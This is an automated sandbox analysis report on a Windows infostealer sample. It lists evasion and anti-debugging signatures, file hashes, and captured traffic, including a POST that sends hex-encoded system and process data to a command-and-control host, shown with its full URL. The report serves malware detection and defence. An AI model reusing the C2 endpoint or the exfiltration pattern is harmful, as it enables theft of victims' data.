Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Ry6ot1YULB.exe

Overview

General Information

Sample name:Ry6ot1YULB.exe
renamed because original name is a hash value
Original sample name:0ac83051d42c812a3deb74e093c48f9e.exe
Analysis ID:1578073
MD5:0ac83051d42c812a3deb74e093c48f9e
SHA1:ef8dbb841cf66cb66eeefcd282baaa0544dd1fbd
SHA256:9efc2d4a5f40a0bf856d84858ba422d4c504a276f03fa87aec827f266726ce09
Tags:exeuser-abuse_ch
Infos:

Detection

Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Detected unpacking (changes PE section rights)
Multi AV Scanner detection for submitted file
AI detected suspicious sample
Hides threads from debuggers
Infostealer behavior detected
Leaks process information
Machine Learning detection for sample
PE file contains section with special chars
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
AV process strings found (often used to terminate AV products)
Checks for debuggers (devices)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to create an SMB header
Detected potential crypto function
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • Ry6ot1YULB.exe (PID: 1080 cmdline: "C:\Users\user\Desktop\Ry6ot1YULB.exe" MD5: 0AC83051D42C812A3DEB74E093C48F9E)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Antivirus / Scanner detection for submitted sample
Source: Ry6ot1YULB.exeAvira: detected
Antivirus detection for URL or domain
Source: http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322http://home.twentytk20pn.top/WEIsmPfDcpBFAvira URL Cloud: Label: malware
Source: http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN17343663225a1Avira URL Cloud: Label: malware
Multi AV Scanner detection for submitted file
Source: Ry6ot1YULB.exeReversingLabs: Detection: 60%
AI detected suspicious sample
Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for sample
Source: Ry6ot1YULB.exeJoe Sandbox ML: detected
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: -----BEGIN PUBLIC KEY-----0_2_00F8DCF0
Source: Ry6ot1YULB.exeBinary or memory string: -----BEGIN PUBLIC KEY-----
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: mov dword ptr [ebp+04h], 424D53FFh0_2_00FCA5B0
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: mov dword ptr [ebx+04h], 424D53FFh0_2_00FCA7F0
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: mov dword ptr [edi+04h], 424D53FFh0_2_00FCA7F0
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: mov dword ptr [esi+04h], 424D53FFh0_2_00FCA7F0
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: mov dword ptr [edi+04h], 424D53FFh0_2_00FCA7F0
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: mov dword ptr [esi+04h], 424D53FFh0_2_00FCA7F0
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: mov dword ptr [ebx+04h], 424D53FFh0_2_00FCA7F0
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: mov dword ptr [ebx+04h], 424D53FFh0_2_00FCB560
Source: Ry6ot1YULB.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_00F6255D GetSystemInfo,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,KiUserCallbackDispatcher,FindFirstFileW,FindNextFileW,K32EnumProcesses,0_2_00F6255D
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_00F629FF FindFirstFileA,RegOpenKeyExA,CharUpperA,CreateToolhelp32Snapshot,QueryFullProcessImageNameA,CloseHandle,CreateToolhelp32Snapshot,CloseHandle,0_2_00F629FF
Source: global trafficHTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
Source: global trafficHTTP traffic detected: POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1Host: home.twentytk20pn.topAccept: */*Content-Type: application/jsonContent-Length: 497645Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 35 39 33 37 37 33 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 30 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 34 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 34 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 2
Source: Joe Sandbox ViewIP Address: 98.85.100.80 98.85.100.80
Source: Joe Sandbox ViewIP Address: 194.87.47.113 194.87.47.113
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_0102A8C0 recvfrom,0_2_0102A8C0
Source: global trafficHTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
Source: global trafficDNS traffic detected: DNS query: httpbin.org
Source: global trafficDNS traffic detected: DNS query: home.twentytk20pn.top
Source: unknownHTTP traffic detected: POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1Host: home.twentytk20pn.topAccept: */*Content-Type: application/jsonContent-Length: 497645Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 35 39 33 37 37 33 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 30 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 34 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 34 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 2
Source: Ry6ot1YULB.exe, 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmp, Ry6ot1YULB.exe, 00000000.00000003.2065033527.000000000776F000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://.css
Source: Ry6ot1YULB.exe, 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmp, Ry6ot1YULB.exe, 00000000.00000003.2065033527.000000000776F000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://.jpg
Source: Ry6ot1YULB.exe, 00000000.00000003.2065033527.000000000776F000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnY322
Source: Ry6ot1YULB.exe, 00000000.00000003.2724038564.0000000001D22000.00000004.00000020.00020000.00000000.sdmp, Ry6ot1YULB.exe, 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmp, Ry6ot1YULB.exe, 00000000.00000003.2724088596.0000000001D27000.00000004.00000020.00020000.00000000.sdmp, Ry6ot1YULB.exe, 00000000.00000002.2728051733.0000000001D29000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322
Source: Ry6ot1YULB.exe, 00000000.00000003.2724038564.0000000001D22000.00000004.00000020.00020000.00000000.sdmp, Ry6ot1YULB.exe, 00000000.00000003.2724088596.0000000001D27000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN17343663225a1
Source: Ry6ot1YULB.exe, 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322http://home.twentytk20pn.top/WEIsmPfDcpBF
Source: Ry6ot1YULB.exe, 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmp, Ry6ot1YULB.exe, 00000000.00000003.2065033527.000000000776F000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://html4/loose.dtd
Source: Ry6ot1YULB.exe, 00000000.00000003.2065033527.000000000776F000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://curl.se/docs/alt-svc.html
Source: Ry6ot1YULB.exeString found in binary or memory: https://curl.se/docs/alt-svc.html#
Source: Ry6ot1YULB.exe, 00000000.00000003.2065033527.000000000776F000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://curl.se/docs/hsts.html
Source: Ry6ot1YULB.exeString found in binary or memory: https://curl.se/docs/hsts.html#
Source: Ry6ot1YULB.exe, Ry6ot1YULB.exe, 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmp, Ry6ot1YULB.exe, 00000000.00000003.2065033527.000000000776F000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://curl.se/docs/http-cookies.html
Source: Ry6ot1YULB.exe, 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmp, Ry6ot1YULB.exe, 00000000.00000003.2065033527.000000000776F000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://httpbin.org/ip
Source: Ry6ot1YULB.exe, 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmp, Ry6ot1YULB.exe, 00000000.00000003.2065033527.000000000776F000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://httpbin.org/ipbefore
Source: unknownNetwork traffic detected: HTTP traffic on port 49704 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49704

System Summary

barindex
PE file contains section with special chars
Source: Ry6ot1YULB.exeStatic PE information: section name:
Source: Ry6ot1YULB.exeStatic PE information: section name: .idata
Source: Ry6ot1YULB.exeStatic PE information: section name:
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D5CDE90_3_01D5CDE9
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D5CDE90_3_01D5CDE9
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D5CDE90_3_01D5CDE9
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D5CDE90_3_01D5CDE9
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D5CDE90_3_01D5CDE9
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_00F705B00_2_00F705B0
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_00F76FA00_2_00F76FA0
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_0102B1800_2_0102B180
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_00F9F1000_2_00F9F100
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_012EE0300_2_012EE030
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_010300E00_2_010300E0
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_0102C3200_2_0102C320
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_0102E3E00_2_0102E3E0
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_00FC62100_2_00FC6210
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_010304200_2_01030420
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_012B44100_2_012B4410
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_012C67300_2_012C6730
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_0102C7700_2_0102C770
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_012E47800_2_012E4780
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_00F6E6200_2_00F6E620
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_00FCA7F00_2_00FCA7F0
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_0101C9000_2_0101C900
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_00F6A9600_2_00F6A960
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_00F749400_2_00F74940
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_0121AB2C0_2_0121AB2C
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_010F4B600_2_010F4B60
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_012D8BF00_2_012D8BF0
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_00F6CBB00_2_00F6CBB0
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_01136AC00_2_01136AC0
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_0121AAC00_2_0121AAC0
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_012E4D400_2_012E4D40
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_012DCD800_2_012DCD80
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_012ECC700_2_012ECC70
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_0102EF900_2_0102EF90
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_01028F900_2_01028F90
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_012B2F900_2_012B2F90
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_0127AE300_2_0127AE30
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_00F84F700_2_00F84F70
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_00F710E60_2_00F710E6
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_012D35B00_2_012D35B0
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_012CD4300_2_012CD430
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_012F17800_2_012F1780
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_012B56D00_2_012B56D0
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_012B99200_2_012B9920
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_010198800_2_01019880
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_012D1BD00_2_012D1BD0
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_00FA1BE00_2_00FA1BE0
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_012E3A700_2_012E3A70
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_00F75DB00_2_00F75DB0
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_01219C800_2_01219C80
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_012C7CC00_2_012C7CC0
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_00F73ED00_2_00F73ED0
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_00F85EB00_2_00F85EB0
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: String function: 00F7CCD0 appears 54 times
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: String function: 01117220 appears 90 times
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: String function: 00F7CD40 appears 78 times
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: String function: 00FA4FD0 appears 261 times
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: String function: 00FA4F40 appears 316 times
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: String function: 00FA5340 appears 43 times
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: String function: 00F6CAA0 appears 63 times
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: String function: 00F671E0 appears 47 times
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: String function: 0113CBC0 appears 87 times
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: String function: 00FA50A0 appears 92 times
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: String function: 00F6C960 appears 36 times
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: String function: 00F673F0 appears 108 times
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: String function: 010444A0 appears 72 times
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: String function: 00F675A0 appears 659 times
Source: Ry6ot1YULB.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: Ry6ot1YULB.exeStatic PE information: Section: ocsbkfkw ZLIB complexity 0.9944516144796701
Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@1/0@24/2
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_00F6255D GetSystemInfo,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,KiUserCallbackDispatcher,FindFirstFileW,FindNextFileW,K32EnumProcesses,0_2_00F6255D
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_00F629FF FindFirstFileA,RegOpenKeyExA,CharUpperA,CreateToolhelp32Snapshot,QueryFullProcessImageNameA,CloseHandle,CreateToolhelp32Snapshot,CloseHandle,0_2_00F629FF
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeMutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: Ry6ot1YULB.exeReversingLabs: Detection: 60%
Source: Ry6ot1YULB.exeString found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: Ry6ot1YULB.exeString found in binary or memory: Unable to complete request for channel-process-startup
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSection loaded: dhcpcsvc.dllJump to behavior
